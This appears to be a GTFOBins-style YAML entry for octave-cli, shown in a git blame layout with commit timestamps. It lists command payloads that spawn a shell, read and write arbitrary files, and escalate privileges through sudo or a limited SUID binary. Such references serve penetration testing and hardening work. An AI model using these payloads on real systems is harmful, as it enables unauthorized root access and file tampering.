2021-04-26 16:06:18 +02:00
|
|
|
---
|
2021-04-22 22:12:26 +02:00
|
|
|
description: The payloads are compatible with GUI.
|
|
|
|
functions:
|
|
|
|
shell:
|
2021-04-26 16:06:18 +02:00
|
|
|
- code: octave-cli --eval 'system("/bin/sh")'
|
2021-04-22 22:12:26 +02:00
|
|
|
file-write:
|
2021-04-26 16:06:18 +02:00
|
|
|
- code: octave-cli --eval 'filename = "file_to_write"; fid = fopen(filename, "w"); fputs(fid, "DATA"); fclose(fid);'
|
2021-04-22 22:12:26 +02:00
|
|
|
file-read:
|
2021-04-26 16:06:18 +02:00
|
|
|
- code: octave-cli --eval 'format none; fid = fopen("file_to_read"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
|
2021-04-22 22:12:26 +02:00
|
|
|
sudo:
|
2021-04-26 16:06:18 +02:00
|
|
|
- code: sudo octave-cli --eval 'system("/bin/sh")'
|
|
|
|
limited-suid:
|
|
|
|
- code: ./octave-cli --eval 'system("/bin/sh")'
|
|
|
|
---
|